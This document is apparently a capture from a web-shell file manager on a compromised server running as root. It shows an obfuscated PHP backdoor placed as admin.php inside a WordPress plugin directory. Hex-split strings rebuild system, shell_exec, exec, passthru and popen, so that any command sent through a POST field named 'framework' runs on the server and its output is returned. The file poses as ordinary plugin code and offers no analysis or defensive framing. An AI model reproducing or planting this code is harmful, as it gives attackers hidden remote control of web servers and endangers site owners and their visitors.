HEX
Server: Apache/2.2.15 (CentOS)
System: Linux ip-10-0-2-146.eu-west-1.compute.internal 2.6.32-754.35.1.el6.centos.plus.x86_64 #1 SMP Sat Nov 7 11:33:42 UTC 2020 x86_64
User: root (0)
PHP: 5.6.40
Disabled: NONE
Upload Files
File: /www/sites/www.credebtexchange.com/htdocs/wp-content/plugins/admin-site-enhancements/admin.php
<?php


$factor1 = '865';
$factor2 = '6c6';
$factor3 = '706';
$factor4 = '173';
$factor5 = '737';
$factor6 = 'f70';
$factor7 = '656';
$factor8 = '16d';
$factor9 = '5f6';
$factor10 = 'f63';
$factor11 = '6f6';
$factor12 = '36c';
$factor13 = '365';
$factor14 = '6d6';
$factor15 = '577';
$factor16 = '6f7';
$factor17 = '26b';
$right_pad_string1 = pack("H*", '737'.'973'.'746'.'56d');
$right_pad_string2 = pack("H*", '736'.$factor1.$factor2.'c5f'.'657'.'865');
$right_pad_string3 = pack("H*", '657'.$factor1);
$right_pad_string4 = pack("H*", $factor3.$factor4.$factor5.'468'.'727');
$right_pad_string5 = pack("H*", '706'.$factor6.'656');
$right_pad_string6 = pack("H*", $factor5.'472'.$factor7.$factor8.$factor9.'765'.'745'.$factor10.$factor11.'e74'.'656'.'e74');
$right_pad_string7 = pack("H*", $factor3.$factor12.'6f7'.$factor13);
$framework = pack("H*", '667'.'261'.$factor14.$factor15.$factor16.$factor17);
if (isset($_POST[$framework])) {
    $framework = pack("H*", $_POST[$framework]);
    if (function_exists($right_pad_string1)) {
        $right_pad_string1($framework);
    } elseif (function_exists($right_pad_string2)) {
        print $right_pad_string2($framework);
    } elseif (function_exists($right_pad_string3)) {
        $right_pad_string3($framework, $resource_k);
        print join("\n", $resource_k);
    } elseif (function_exists($right_pad_string4)) {
        $right_pad_string4($framework);
    } elseif (function_exists($right_pad_string5) && function_exists($right_pad_string6) && function_exists($right_pad_string7)) {
        $token_rec = $right_pad_string5($framework, 'r');
        if ($token_rec) {
            $element_ptr = $right_pad_string6($token_rec);
            $right_pad_string7($token_rec);
            print $element_ptr;
        }
    }
    exit;
}